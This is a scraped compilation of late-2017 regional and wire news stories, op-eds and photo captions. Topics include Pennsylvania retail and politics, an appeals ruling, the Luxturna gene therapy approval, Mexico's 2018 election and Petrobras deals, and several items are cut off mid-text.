"I try to incorporate a lot of different ingredients and different flavors so it can be more than just your typical pepperoni pizza night," she said.

Slice has four different locations in the Philadelphia-area: the Italian Market (1180 S. 10th St.), Rittenhouse (1740 Sansom St.), Fishtown (431 E. Girard Ave.) and Washington Township (137 Egg Harbor Road, Washington Township, New Jersey).

For more information on Slice or to order online, visit slicepa.com.

Do you know a unique dish at a Pennsylvania restaurant or cafe that the rest of the world should be made aware of? Email me at jhatmaker@pennlive.com

Want more stories about Philly? Click here for all our coverage of the City of Brotherly Love.
Struggling retailer Bon-Ton Stores Inc., which is co-headquartered in York and Milwaukee, will be handing out $1 million in gift cards on Wednesday worth between $5 and $500 each.

The giveaway will start at 7 a.m. The first 400 customers at each store will receive a gift card, and one person at each store will receive a $500 gift card.

Central Pennsylvania Bon-Ton locations include Camp Hill, the Colonial Park Mall in Harrisburg and the Point at Carlisle Plaza in Carlisle. There are also locations in Chambersburg, Hanover, Lancaster and Lewistown.

Bon-Ton said in November it plans to close at least 40 stores next year as the company looks to become more cost effective. President and CEO William Tracy said in a news release at the time that the company fell short of its third-quarter goals, and that it is taking "aggressive actions to fuel improved performance as well as strengthen our financial position."

Co-headquartered in York and Milwaukee, Bon-Ton currently operates 260 stores, including nine furniture galleries and four clearance centers.
A Pennsylvania man who is in federal prison for threatening to kill two FBI agents and rape the wife and daughter of one of them had better get comfortable with life behind bars.

He'll be there for a while.

A panel of the U.S. Court of Appeals for the 3rd Circuit ensured Justin M. Credico will stay jailed by rejecting his appeal of his convictions and 70-month prison sentence.

In an opinion issued this week by Judge Michael A. Chagares, the appeals judges found no reason to overturn the penalty imposed by U.S. Eastern District Judge Cynthia M. Rufe after a nonjury trial.

Although Credico, 36, of West Chester, made hundreds of harassing phone calls to the FBI's Philadelphia office starting in 2008, it was a series of messages he left on an agent's voice mail in February 2014 that finally got him arrested.

Credico apparently blamed the agent for getting him expelled from West Chester University, Chagares noted. Other court cases indicate it was Credico's own aggressive attitude that resulted in his removal from the school.

The messages that sent Credico to trial included the death and rape threats. The agent who received them recorded the threats on a tape recorder. Credico was charged with four counts of threatening a federal law enforcement officer.

On appeal, Credico claimed Rufe shouldn't have allowed the tape to be introduced as evidence at his trial. Credico admitted making the threats, Charages noted, but argued the agent should have used a more up-to-date method to record them. Yet, Chagares added, Credico didn't claim the tape was tampered with, "nor does any evidence in the record suggest it."

Credico is no stranger to the court system. Court records show he once served time in Chester County Prison on a harassment conviction and had another conviction for making terroristic threats.

Around the time he was arrested for the FBI threats, a Commonwealth Court panel dismissed a lawsuit he filed trying to overturn Pennsylvania's ban on recreational marijuana use.
Shoppers and visitors to Strawberry Square don't see the traditional bell ringing at the Salvation Army's red kettle.

They might see volunteers flipping a sign that says "ding, dong" instead of ringing the familiar bells, due to concern over noise level inside the mall in downtown Harrisburg.

Or they might be treated to live music, as they were Tuesday thanks to Tom and Susan Rowe of Mechanicsburg, and their son David.

Several years ago, the Strawberry Square management asked the Salvation Army to stop ringing inside, due to the noise level, said Maj. John Griner, corps officer with the Salvation Army of Harrisburg.

"They said it was a distraction for store owners, which is understandable, so we try to accommodate them as much as possible," Griner said. Instead, the ringers flip a sign that says "ding-dong."

Elise Panko, representative of Harristown, which owns Strawberry Square, said it's been four years that the bell ringers have been asked to quiet their bells.

"We do it as a common courtesy for those who wish to spend their time in the building," she said, including workers at businesses and shoppers.

"Some bells are louder, some quieter, and it's hard to regulate all the bells with all the different volumes," she said, adding that a lot of those used outside are the louder varieties.

Having musical performances instead is a nice alternative, she said.

In addition to the Rowe family, Panko said another Red Kettle volunteer played the cello recently.

"It's cool to see the volunteers using their talents and offering some entertainment," she said.

This is the only site where bell-ringers are silent, Griner said. "All our other stands are outdoors, and we are able to ring the bell there," he said.

Tom Rowe said his family played music instead of bell-ringing at Karns market in West Shore Plaza for three years. Last week he asked Strawberry Square if they could play there during their Red Kettle slot, and they might perform Friday as well.

Tom, who plays oboe for the Harrisburg Symphony, works for Pyramid Construction, which is working on the Salvation Army's new headquarters. His family also plays Irish music.

Several businesses at Strawberry Square said they didn't mind the bell-ringing.

"I love the bells - they can do both," said Lan Pham at Modern Jewelers, regarding flipping the "ding-dong" card. "I wish I could stand out there and do that - it's very nice."

The manager of the Hallmark store also said he didn't mind the bells, and Travis Giberson at Little Amps coffee said he didn't even notice, but understands. "There's a lot of noise going on already," he said, with the clock tower behind his shop dinging and donging throughout the day.

But another shop owner, who wouldn't give his name, said the bells "got very annoying. We don't mind giving money, but at other stores it's outside." The bells reverberated, echoing on the hard surfaces inside Strawberry Square, he said.

Bell-ringers have always been inside Strawberry Square, rather than outside, Griner said. Two or three volunteer groups take turns ringing for about two hours over lunchtime two or three days a week.

Usually the volunteers collect $150 to $200 per group, Griner said. These groups include the Lions Club, Harrisburg Rotary, Kiwanis and the Pugliese firm.

This is the last week for bell ringing, and Griner said the Salvation Army is about $50,000 away from its goal of $185,000 during the kettle campaign.

"This is the big push," Griner said. If the weather stays good and we have enough workers and volunteers who show up, we should be pretty close to our goal."

Most of the funds are used to buy clothing and toys for 4,000 children, with the number of recipients up this year. The rest goes into the organization's budget.

This season there were between 300 and 500 bell-ringing volunteers at 19 locations from Camp Hill to Hershey, Griner said.

Some are also paid. About 75 clients of Salvation Army work as bell-ringers, earning $8.25 to $10 per hour, with the wage rising as they return year after year.

One location where bell-ringers used to be stationed inside was the Capital City Mall. That changed two years ago, when a property owner asked them to ring outside.

"It worked out fine - actually we do better outside than inside," Griner said. That's because the ringers are at the main entrance and exit to the mall, rather than inside the entrance to what were three anchor stores.

In addition to the red kettles, the public can make donations online to either the

or

divisions or by texting KETTLE to 41444.
By Lawrence A. Feinberg

I am writing on behalf of the Delaware County School Board's Legislative Council to urge readers and all public education stakeholders to contact their members of Congress and ask them to vote no on the Tax Cuts and Jobs Act when it returns to the House of Representatives.

The Legislative Council is comprised of locally elected volunteer school directors representing each of the fifteen school districts in Delaware County.

More than 50 million (90 percent) of U.S. schoolchildren attend public schools. The tax reform bill being considered in the U.S. Congress poses a very real threat to our public school students, parents and taxpayers.

Here are five reasons for our members of Congress to vote NO:

1. Limit the state & local tax (SALT) deduction: As currently proposed, the House and Senate versions of the Tax Cuts and Jobs Act would limit deductions for sales and income taxes paid to state and local governments; and, both bills would limit deductibility of property tax payments to $10,000. Capping or eliminating the SALT deduction will put intense pressure on state and local governments to cut their own taxes in the face of constituents with higher federal tax bills and lead to reduced services. We urge our members of Congress to support our students, their families and communities by maintaining full deductibility of state and local taxes.

2. Elimination of bond financing options: Currently, school districts have access to a variety of bond and financing options when it comes to paying for/affording capital and infrastructure projects. We can use these options to save our taxpayers millions of dollars on outstanding debt. Both the House and Senate bills would eliminate some of those options. If the changes go through, it would increase taxpayer costs incurred by school districts associated with financing school construction and renovation.

3. Increase of $1.5 trillion in federal deficit: The tax cuts in the bill need to be paid for, and neither the House nor the Senate bill completely offset the costs associated with their plan. Instead, they have authorized themselves to raise the nation's deficit over ten years to pay for the portion they aren't paying for now (estimated to be $1.5 trillion). Congress will feel pressure to make cuts elsewhere, and those cuts will fall to education and non-defense discretionary spending.

4. Expansion of 529 Program to include K-12 expenses: Provisions in the House and Senate bills would create a separate unaccountable system of publicly funded and/or subsidized education for non-public schools through the proposed expansion of 529 education savings accounts. Instead, we urge your strong support for the range of choices that are currently offered by our nation's public school districts, such as magnet schools, charter schools authorized by local school boards and schools with specialized curricula for science, technology, engineering, the arts, and mathematics (STEAM).

5. Repeal of $250 deduction available for teachers who spend their own money on classroom materials and supplies: Current law allows teachers to exclude up to $250 from income when those dollars were spent on books, supplies, professional development and other classroom expense. The House bill eliminates this exclusion; the Senate bill would double the maximum (to $500).

Please contact your members of Congress and urge them to support the schools that educate over ninety percent of our kids; tell them to vote NO on the Tax Cuts and Jobs Act.

You can find your Pennsylvania Congressman's contact information here

Lawrence A. Feinberg is a fifth term school director in Haverford Township and serves as Chairman of the Delaware County School Boards Legislative Council.
By Jennifer Rubin

Republicans are facing some daunting numbers. Democrats are favored by 11.1 points in the general congressional ballot, in the RealClearPolitics average. The pattern for Democrats in special elections should encourage their voters, according to Harry Enten of FiveThirtyEight:

Jennifer Rubin (Washington Post photo)

"The Democratic margin has been 12 percentage points better, on average, than the partisan lean in each race. Sometimes this has resulted in a seat flipping from Republican to Democratic (e.g. in the Alabama Senate face-off on Tuesday or Oklahoma's 37th state Senate District contest last month). Sometimes it has meant the Democrat barely lost a race you wouldn't think a Democrat would be competitive in (e.g. in South Carolina's 5th Congressional District in June). Sometimes it's merely been the case that the Democrat won a district by an even wider margin than you'd expect (e.g. in Pennsylvania's 133 House District last week).

"The point is that Democrats are doing better in all types of districts with all types of candidates. You don't see this type of consistent outperformance unless there's an overriding pro-Democratic national factor. . . . So even if Democrats do 7 points worse in the national House vote than the average swing so far suggests, they'd still win the national House vote by 9 points, which would likely mean that they reclaim a House majority next year."

Couple that with a historically unpopular president, and Republicans have every reason to be nervous about their midterm chances. (President Donald Trump's approval rating in the RCP average is at 37.9 percent, with disapproval at 57.1.) While it's true that Trump could stage a comeback, the special counsel's report could fuel impeachment talk and/or bring indictments of close associates. A betting person would favor a rockier 2018 for Trump compared with 2017, itself a historically awful year for a new president.

In the Senate, many Democrats from red states who were supposed to be at risk don't look all that much at risk right now. The Associated Press reports that "the GOP is struggling to land a big name in North Dakota to run against Democratic Sen. Heidi Heitkamp in 2018."

Meanwhile, most pollsters put three GOP Senate seats - Tennessee (where former governor Phil Bredesen, a Democrat, will seek to replace retiring Republican Sen. Bob Corker), Arizona (where Jeff Flake has announced he is retiring) and Nevada (where incumbent Republican Dean Heller got himself tied up in knots on Obamacare repeal) - in the gettable category for Democrats. With the potential for more retirements or empty seats (due to health and/or the unpredictable series of sexual harassment revelations), Republicans may find even more Senate seats at risk.

The prospect of losing both the House and Senate majorities should be sobering for Republicans as they contemplate their agenda. They are likely to face a series of unpalatable choices. Fix the Deferred Action for Childhood Arrivals (DACA) program and set off a firestorm with their anti-immigrant base - or allow DACA to lapse once and for all, thereby energizing the Democratic base?

Cut entitlements to stem the gusher of red ink opened by their tax bill, thereby socking it to their own constituents - or risk the consequences of massive accumulation of debt on the economy?

Continue on their deregulation jag to please their donors - or risk a populist backlash? The tension between the party's populist rhetoric and its plutocratic policies will be strained not only because of the impending midterms but also because the GOP's margin in the Senate will be down to 51-49. Any retirement (forced by health or scandal) will leave the body with a 50-50 tie, making every GOP vote potentially decisive.

It is in this context that we are likely to see the special counsel's final report. Trump has said that he won't fire him - but another indictment of a top adviser or acquisition of sensitive financial data could provoke Trump to lash out, just as he did with former FBI director James Comey.

With all that Republicans are facing - the very real possibility of losing both House and Senate majorities - they will have to decide whether they really want to circle the wagons around a failing president. If not out of principle or decency, Republicans may nevertheless find that their survival instinct overwhelms partisan loyalty.

Jennifer Rubin writes the Right Turn blog for The Washington Post, offering reported opinion from a conservative perspective. Her work appears frequently on PennLive Opinion.
It's not exactly a chorus. Yet.

But a small number of lawmakers issued calls for the resignation of embattled Sen. Daylin Leach Monday, one day after an investigative report by Philly.com highlighted accusations by former female staffers of a hostile - for some - work environment.

The complaints outlined focused on sexually suggestive banter that Leach persisted in with little regard for how it made younger, female campaign and legislative staffers feel, and at least two allegations of inappropriate touching.

That was bad enough, according to state Reps. Patty Kim, D-Harrisburg, and Leanne Krueger-Braneky, D-Delaware County, and Leach's Senate colleague Ryan Aument, R-Lancaster County.

But the thing that pushed the women to action Monday, they said, was the tone and tenor of Leach's initial response to the published report.

In that initial Facebook post, Leach contended the stories grew out of a whisper campaign started by a political opponent, he seemed to question the credibility of one of his accusers and denied the inappropriate touches ever occurred.

What wasn't in it, Kim and Krueger-Braneky noted, was any sense of regret or remorse.

State Rep. Patty Kim, D-Dauphin

"He was blaming other people. He denied it. There was no regrets, and no apology," said Kim, who noted the story reminded her of situations she had to endure as an intern in broadcast news.

"I have empathy for those women (who came forward to tell their stories, Kim continued. "And that (Leach's reaction) was a red flag for me."

Krueger-Braneky agreed.

The Philly.com story cited 11 different persons with some degree of complaint, she noted.

"Attempting to attack the character of the women in the article... is conduct well beyond the pale for an elected official," she said. "That is why I am calling on Daylin Leach to resign from the Pennsylvania Senate, effective immediately."

The trickle of calls for Leach's resignation followed a similar call from Gov. Tom Wolf on Sunday afternoon.

Leach, for the record, did strike a somewhat softer tone in a new Facebook post Monday afternoon, in which he also announced that he is suspending his campaign for a U.S. House seat.

In it, he said in part:

"While I've always been a gregarious person, it's heartbreaking to me that I have put someone in a position that made them feel uncomfortable or disrespected.

"In the future I will take more care in my words and my actions, and I will make it my top priority to protect those who to speak up to help change the culture around us."

That was too little too late to Kim and Krueger-Braneky.

"We need to listen to the stories of these victims, and not demonize them in the press," Krueger-Braneky said in a telephone interview with PennLive Monday evening.

That, the female lawmakers added, is the only way to cleanse the state Capitol of a culture where, they believe, women are still objectified by powerful men all too often.

Kim said she interjected herself in the Leach situation out of empathy with the young staffers who felt harassed.

"We have a culture in the Capitol - and not everyone does it - but it's there if you dig a little deeper and we have to stop that," Kim said, adding younger female staffers are the ones most susceptible to forms of harassment.

As an older, now-established female officeholder, she said, she has an obligation to those younger women to push back against that, "and if the men feel a little uncomfortable with that, then good."

Rep. Leanne Krueger-Braneky

Krueger-Braneky, meanwhile, is prime sponsor of a bill that would centralize and standardize the response to all future complaints of sexual harassment by members or staff within the General Assembly.

Aument made his comments Monday to WHTM, the ABC affiliate in Harrisburg, telling the station he too felt that Leach had crossed a line.

"Based on the serious accusations that have been made, the number of women who have come forward, and the quality of the reporting that's been done, I certainly think, from my perspective, that would be in the best interest of the Senate and the commonwealth," Aument said.

Leach, for his part, said in his Monday post that while he will cooperate with any further vetting of the allegations against him by Seante leadership, he has no plans to step down at this point.

Instead, he wrote, "I will continue to do all that I can to advance progressive causes in the Senate and represent my constituents with honor."
In this Nov. 3, 2015 file photo, the Keystone Steele City pumping station, into which the planned Keystone XL pipeline is to connect to, is seen in Steele City, Neb. THE CANADIAN PRESS/AP/Nati Harnik, File
Stephen Matier, left, president of Maritime Launch Services and Maksym Degtiarov, chief designer of the launch vehicle at the Yuzhnoye Design Bureau, talk with reporters at a meeting of the proposed Canso, N.S., Spaceport project team in Dartmouth, N.S. on December 11, 2017. A researcher says Canada's first proposed spaceport in Canso, N.S., is a potential threat to migratory birds. John Kearney, an adjunct professor at Dalhousie University, says he's concerned that lighting at the $200-million site could confuse birds and delay their migration. THE CANADIAN PRESS/Andrew Vaughan
Newfoundland Premier Dwight Ball announces the terms of reference for the judicial inquiry into the Muskrat Falls hydroelectric project at the Confederation Building in St. John's on November 20, 2017. The premier of Newfoundland and Labrador will be in court today asking a judge to block media from reporting on documents linked to a St. John's murder case. They relate to the trial of Brandon Phillips in the death of 63-year-old Larry Wellman following a botched hotel robbery in October 2015. Premier Dwight Ball's daughter, Jade Ball, was in a former relationship with Phillips. THE CANADIAN PRESS/Paul Daly
Brandon Phillips sits the in Supreme Court of Newfoundland and Labrador in St. John's on Thursday Dec. 1, 2016. The premier of Newfoundland and Labrador will be in court today asking a judge to block media from reporting on documents linked to a St. John's murder case. THE CANADIAN PRESS/Sue Bailey
FILE - In this Sept. 22, 2003, file photo, Judge Alex Kozinski, of the 9th U.S. Circuit Court of Appeals, gestures in San Francisco. Krazinski announced his immediate retirement Monday, Dec. 18, 2017, days after women alleged he subjected them to inappropriate sexual conduct or comments. Kozinski said in a statement Monday that a battle over the accusations would not be good for the judiciary. (AP Photo/Paul Sakuma, Pool, File)
FILE - In this Aug. 29, 2017, file photo, Japan Air Self-Defense Force demonstrates a training to utilize the PAC-3 surface to air interceptors at the U.S. Yokota Air Base on the outskirts of Tokyo. JapanAos Cabinet approved a plan Tuesday, Dec. 19, 2017, to purchase a set of costly land-based missile combat system from the U.S. to step up Japanese missile defense capability amid escalating threat from North Korea. The decision would allow the Defense Ministry to buy a set of two Aegis Ashore systems to add to JapanAos current two-step missile defense consisting of Patriot batteries and Aegis-equipped destroyers. (AP Photo/Eugene Hoshiko, File)
FILE-- In this Sept. 3, 2008 file photo, Track Palin, son of Republican vice presidential candidate Alaska Gov. Sarah Palin is seen during the Republican National Convention in St. Paul, Minn. Police arrested the oldest son of Sarah Palin on charges related to domestic violence for the second time in as many years. Palin was arraigned Sunday, Dec. 17, 2017, on three counts of felony burglary, misdemeanor reckless assault and misdemeanor criminal mischief. Each of the charges was related to domestic violence, according to court documents.(AP Photo/Charles Rex Arbogast, File)
FILE - In this Feb. 11, 2017, file photo, Meryl Streep attends the Human Rights Campaign Greater New York Gala at Waldorf Astoria Hotel in New York. Streep says in a statement Monday, Dec. 18, that she did not know Harvey Weinstein was allegedly harassing and assaulting women when they worked together. (Photo by Christopher Smith/Invision/AP, File)
In a photo provided by the North Carolina Governors Office, North Carolina Gov. Roy Cooper, right, speaks to Triangle Tire Chairman Ding Yuhua, center, and his translator Tuesday, Dec. 19, 2017, at Edgecombe Community College in Tarboro, N.C., after the company announced plans to build a tire plant that would eventually employ 800 workers and produce 6 million tires a year. (North Carolina Governors Office via AP)
Protesters wave an Argentine flag as they gather against a fence cordoning off the Congress during a protest against pension reform in Buenos Aires, Argentina, Tuesday, Dec. 19, 2017. Demonstrators in several neighborhoods of Buenos Aires banged on pots Monday night to protest the measure. (AP Photo/Victor R. Caivano)
Mexico's elections have often had a dark side. Candidates have been killed, illicit cash has flowed, and vote counts have been mysteriously interrupted. So when analysts say next year's presidential race could be one of the dirtiest ever, it's worth paying attention. The bar is high.

The official campaign hasn't even begun yet, but Mexico's ruling PRI has already been slammed by election watchdogs. The party has Mexico's best-oiled political machine, and it's also deeply unpopular -- a dangerous combination. A recent survey showed the PRI candidate, former Finance Minister Jose Antonio Meade, in third place with just 16 percent support.

Then there's the early frontrunner, Andres Manuel Lopez Obrador. A fiery leftist, he's been openly campaigning for years, in apparent defiance of laws that stipulate a strict electoral timetable. He's run twice before, and has a reputation for not losing quietly.

Meanwhile, the country is suffering the worst wave of violence this century. That could transform the clashes that are a feature of campaigns into something more dangerous -- especially if the vote is close and contentious, as it's widely expected to be.

Bigger Than Ever'

This could be the worst election since democratic races were born, said Jesus Cantu, a political scientist at the Tecnologico de Monterrey. If we look at what the federal government and political parties have already done, as well as some electoral authorities, we have no reason to be optimistic.

The task of ensuring a smooth vote falls to regulators who are underfunded. And in October, President Enrique Pena Nieto fired the top electoral prosecutor after he spoke to the media about an ongoing bribery investigation -- which concerned the previous presidential vote.

The position was just filled by Hector Marcos Diaz. But the previous prosecutor's firing just as he was investigating Pena Nieto's previous election campaign weakens the watchdog's ability to crack down on vote-buying, according to Kenneth Greene, who researches Mexican elections at the University of Texas at Austin.

The practice will likely be bigger than ever in 2018, says Greene. His polling has found that 21 percent of respondents had been approached with an offer to buy their vote. Of those willing to name a party that made the offer, 78 percent said it was a PRI representative.

The independence of the new prosecutor may not even be the watchdog's biggest concern. Congress just slashed its budget by 300 million pesos ($16 million) -- the largest cut in the agency's history, right before the largest election in the nation's history.

Less Severe'

Lopez Obrador's early lead, combined with his past, is one reason why credible institutions will be key in 2018. Amlo, as he's known, was edged out by Felipe Calderon in 2006 by a margin of less than one percentage point. He claimed fraud. His supporters camped out in Mexico City's business district for months, often bringing life to a standstill.



Another headache for the vote watchdog is the special court that has to approve its decisions, and has been proving stubborn.

Regulators have been trying to go after political parties for flouting financial rules during last June's local ballots. The election institute says that more than a quarter of the money spent in Mexico State, the nation's largest, came from unregistered sources.

And in Coahuila state, the agency found unreported funding was so high that it pushed the PRI's campaign spending above legal limits -- grounds for annulling the vote (which the PRI won). But the regulator's audit was twice overturned by Mexico's highest electoral court.

Part of the concern we have in the national electoral institute is that some criteria of the court tends to relax or make less severe the auditing process, said Lorenzo Cordova, the institute's top official.

Media Spending

Another advantage the PRI gains from incumbent status is its ability to advertise out of the public purse. After spending double its publicity budget last year, Pena Nieto's administration has proven savvy at using the media to keep in front of viewers' eyeballs.

All political parties are buying media, sometimes with cash under the table, according to Luis Carlos Ugalde, a former head of the vote regulator. But the PRI -- which holds the presidency and the largest number of state governorships -- can commandeer more resources, he said.

Besides Lopez Obrador and Meade, there's one more major contender. Ricardo Anaya of the National Action Party, or PAN, is presenting himself as the clean-hands candidate, vowing to stamp out corruption. But his party isn't without fault.

The electoral institute has investigated various accusations of improper campaigning against Rafael Moreno Valle, one of the PAN's leading politicians and a former governor of Puebla state. The probes have mostly cleared him of any wrongdoing, though a publicity agency has been fined twice for placing promotional material on his behalf.

Violence is another risk. October was the deadliest month for homicides this century, exceeding the peak of the last decade's drug war. Analysts say in-fighting between crime groups has escalated after key leaders were arrested. Lopez Obrador suggested this month that an amnesty for cartel leaders was a possibility.

Tapping the Computers'

Mexican politics has turned violent before. In 1994, Luis Donaldo Colosio, the PRI candidate picked by outgoing President Carlos Salinas to succeed him, was assassinated about three months before voting. In 2010, the PRI's gubernatorial candidate in Tamaulipas was assassinated, allegedly on the orders of a drug cartel.

Jose Woldenberg, a former electoral regulator, says the vote probably won't exacerbate the violence. With both houses of Congress up for grabs, and local contests in 30 states no one will win everything and no one will lose everything, he said. This will help cushion the blow of post-electoral conflicts.

Other experts are less sanguine. Hacking of the Mexican electoral system, either by the ruling PRI or by a foreign government such as Russia, is a significant risk, says Tony Payan, director of the Mexico Center at Rice University's Baker Institute in Houston.

I don't think the PRI is above manipulating the election, not just by buying votes in the streets but tapping into the computers, Payan said. The PRI didn't immediately comment.

Payan points to a famous precedent: the election of 1988. It was almost the end of seven decades of uninterrupted PRI rule. Instead, Salinas won. Government officials admitted after leaving power that on election day, as the vote count began to show opposition candidate Cuauhtemoc Cardenas in front, it was shut down -- with an announcement that the system crashed.

That phrase became a rallying cry against electoral fraud. It remains so today -- especially among Lopez Obrador's supporters.




Petrobras, carrying the largest debt load among global oil majors, is rolling a year's worth of promises into a week of significant announcements aimed at trimming the gap before an unpredictable presidential campaign starts to gear up.

The dominoes have fallen one-by-one: On Monday, Petroleo Brasileiro SA sold a $2.9 billion stake in one of its largest legacy fields to Norway's Statoil ASA . Three days earlier, the Brazilian state-run company gained $1.5 billion in an initial public offering of its fuel subsidiary.

Together, the two moves -- along with Friday's agreements to partner with Exxon Mobil Corp. on future projects, and to add a production platform to a promising deep-water field -- stand as the most significant steps yet in Chief Executive Officer Pedro Parente's push to raise $21 billion through asset sales and trim the company's longstanding debt.

After a number of setbacks, and zero deals during the year, all the announcements ended up concentrated in the past few days," said Luiz Francisco Caetano, an analyst at Planner brokerage analyst said in a telephone interview from Sao Paulo. This is extremely positive.

No Guarantee

The timing is significant. While Petrobras has gained under the present government's push to unwind nationalistic oil regulations, there's no guarantee the next president -- set to be elected in October 2018 -- will follow suit.

The two front runners to replace Brazil President Michel Temer have failed to generate any enthusiasm among investors. At the same time, candidates have come forward from all corners of the political spectrum to vie in the election, emboldened by two years of recession and scandals that led to former President Dilma Rousseff's impeachment and almost toppled her successor.

After a year with few relevant deals, and with the election bearing down, Parente is finally on a roll. On Wednesday, the Brazilian oil giant's Petrobras Distribuidora SA subsidiary raised about 5 billion reais ($1.5 billion) from its initial public offering, marking Brazil's biggest IPO since 2013.

The IPO was first conceived in 2015 under then-CEO Aldemir Bendine but the company didn't find the right market conditions to move forward. The combination of Parente's aggressive goal and the oncoming presidential elections put it into play.

Value Raised

That was quickly followed by Monday's announcement from Statoil that it will pay $2.35 billion upfront and as much as $550 million in contingent transfers to buy a 25 percent stake in the Roncador offshore field. The decision is a bet by the Stavenger, Norway-based company that it can help Petrobras squeeze more profit from a field that's been in operation since the 1990s.

While the field -- Brazil's third largest -- has been in decline, it still holds recoverable resources of more than 1 billion barrels of oil equivalent. China is the biggest buyer of Roncador, accounting for about 42 percent of exports of 162,116 barrels daily of the Brazilian grade this year, according to shipping reports and ship-tracking data compiled by Bloomberg.

Petrobras has a very ambitious asset sales plan," Caetano said. It's a bold move but I think it is feasible, announcements should continue through 2018.

On Friday, Petrobras also hired Modec Inc. to provide a new deepwater platform for Libra, its largest pre-salt field. The contract with Modec had been on hold for more than a year as Petrobras and its partners negotiated with Brazil's oil regulator for a waiver allowing Modec's use of fewer Brazilian components in constructing the platform.

In the meantime, a small platform started up on Nov. 26, producing as much as 50,000 barrels a day. The new vessel is expected to produce almost four times that number.
In general, men are twice as likely to cheat on a spouse than women are. That frequency increases over the lifespan, peaking among the elderly. Among men 18 to 29 who have ever been married, about 1 in 10 is
The first gene therapy to restore sight to individuals who suffer from a rare inherited form of blindness was approved Tuesday by the U.S. Food and Drug Administration.

The treatment, developed by the Philadelphia drugmaker Spark Therapeutics and researchers at Children's Hospital of Philadelphia and the University of Pennsylvania, represents the first U.S. therapy for a disease caused by mutations in a specific gene.

"Today's approval marks another first in the field of gene therapy  both in how the therapy works and in expanding the use of gene therapy beyond the treatment of cancer," said FDA Commissioner Scott Gottlieb. "This milestone reinforces the potential of this breakthrough approach in treating a wide range of challenging diseases."

Spark Therapeutics' stock traded lower after the announcement, likely because of uncertainty about pricing. Spark won't announce a price for the treatment until after the first of the year. Analysts have assumed a $1 million price, or $500,000 per eye.

In an interview, Spark CEO Jeffrey Marrazzo said Tuesday that the company tried to evaluate what restoration of functional vision is worth "in economic terms" in health-care savings, quality-of-life improvements, and allowing people to have jobs. "We believe the treatment is worth more than $1 million."

Spark will provide "an update on price" and the discussions underway with health insurers in early January, Marrazzo said.

The drug's approval culminates "decades of research that has resulted in three gene-therapy approvals this year for patients with serious and rare diseases," the FDA said.

The other gene therapies  Novartis' Kymriah and Kite Pharmaceuticals' Yescarta  bio-engineer immune-system T cells to attack certain blood cancers. Kymriah's technology also was developed at Penn and CHOP.

"Gene therapy will become a mainstay in treating, and maybe curing, many of our most devastating and intractable illnesses," Gottlieb said. "At the FDA, we're focused on establishing the right policy framework to capitalize on this scientific opening."

Spark's treatment, to be known by the brand name Luxturna, is intended to be a one-time treatment.

"A number of chronic ultra-orphan therapies have annual costs per patient of $400,000," Phil Nadeau, an analyst at Cowen & Co., said in a client note. "We therefore think that the price of $500,000 per procedure is reasonable for a once-per-lifetime therapy that has the potential to be curative."

In October, an FDA advisory committee unanimously recommended approval of Luxturna. At that hearing, Joan O'Brien, chair of the University of Pennsylvania's department of ophthalmology and director of Scheie Eye Institute, predicted that the therapy would propel research into gene-therapy treatments for other inherited retinal diseases. More than 260 genes are known to cause such diseases.

Patients who received the Luxturna gene therapy during clinical trials told the committee how it transformed their lives. Though it does not completely restore vision, it enables patients to see by producing an enzyme that converts light into electrical signals that are interpreted by the brain.

Christian Guardino, 17, said he lived in darkness the first 12 years of his life, and found it difficult to relate socially to his peers. After receiving the pioneering treatment in Philadelphia, the high school senior from Patchogue, N.Y., said that almost overnight he got his first look at the moon, the stars, and a sunset.

"This gene therapy completely changed my life and gave me sight that I never had," said Guardino, who fulfilled another dream in June, when he sang his way to the semifinals of NBC's America's Got Talent.

Spark's treatment, which injects a copy of a healthy gene directly into the retina, was developed at CHOP. It is based on decades of research by Katherine A. High, Spark's cofounder and president, along with Penn ophthalmologist Jean Bennett and her husband, Albert Maguire, a Penn ophthalmologist and CHOP physician.

"Today's landmark approval is a great moment for science and for the many individuals and families who live with genetic disease," High said in a statement.

The treatment has potential side effects, including macular thinning, ocular pressure, cataracts, retinal tears, and eye inflammation. Physicians who treated patients in clinical trials said most side effects occurred early and resolved over time.

Spark's therapy is approved for children and adults with defects in a gene called RPE65. Patients go blind within the first year to 10 years of life. About 3,500 people in the United States and Europe live with the disabling effects.

The field of gene therapy has seen big clinical breakthroughs in recent years after many years of disappointment and failures. The Luxturna research began decades ago. Bennett was part of the team that cloned the gene in a laboratory before testing it in animals. Maguire performed many of the procedures at CHOP to deliver the gene therapy to the retina.

Spark shares closed up 0.53 percent, or 26 cents, to $49.20 on Tuesday.

The stock fell last week on new study data for a hemophilia A drug. Two patients received low-dose infusions, aimed at improving a blood-clotting protein that hemophilia patients lack. When the dose potency was doubled for two other patients, the factor or clotting level remained the same as at the lower dose. Investors had assumed Spark's results would show twice the factor or clotting level at the higher dose potency. When that didn't happen, the stock took a hit.
"Invisible No More" is an online gallery of people with intellectual and developmental disabilities  and a little bit about who they are, from those who love them most. This gallery will be updated on an ongoing basis.

In early December, columnist Ronnie Polaneczky published a four-part series called "Falling off the Cliff" about the challenges that families face as their children with intellectual and developmental disabilities age into adulthood and beyond. Reader response has been so overwhelming that families with disabled loved ones have said of the series, "We're no longer invisible."

The mission of "Invisible No More" is to keep that momentum going. Tell us about your disabled loved one: name, age, the nature of his or her disability, where they live, a short bio, and your hopes and fears for them. Please include your own name and phone number, then email your submission to Ronnie Polaneczky at polaner@phillynews.com with the subject line "Invisible No More." Submissions may be edited for brevity and/or clarity and may also run in the Inquirer and Daily News.

ALEX LEE

Age: 10

Diagnosis: Down syndrome

Lives in: King of Prussia

About Alex: "I almost feel like Alex exists just to prove everything that I knew about Down syndrome wrong!" says his mom, Cecelia Lee. "He loves music, everything from Hamilton to Mozart. He speaks, reads and writes in English and Korean and is studying Italian to sing opera better. He has a glowing personality, and an inexplicable way of making everyone feel better, almost like giving everyone the hope that somehow he'll make this world a better place for many people."

Hopes and fears: "For some people with disabilities, when their parents die they're left with siblings who don't even know what diagnosis they have. My husband and I want to make sure that never happens so we have both Alex and his sister [Isabelle, 12] take part in our advocacy work for people with disabilities. They travel with us to conferences and even do presentations on their own. Alex introduces himself and sings an aria from Don Giovanni and then Isabelle then shares our advocacy journey. I'm excited to think about Alex's future  planning together what to study in college and what field he might enjoy working in, just like we do with his sister and what amazing opportunities would come and surprise us along the way."

STACY BYERS

Age: 32

Diagnosis: Brain injury, epilepsy, learning disabilities, anxiety, essential tremor

Lives in: Pitman, N.J.

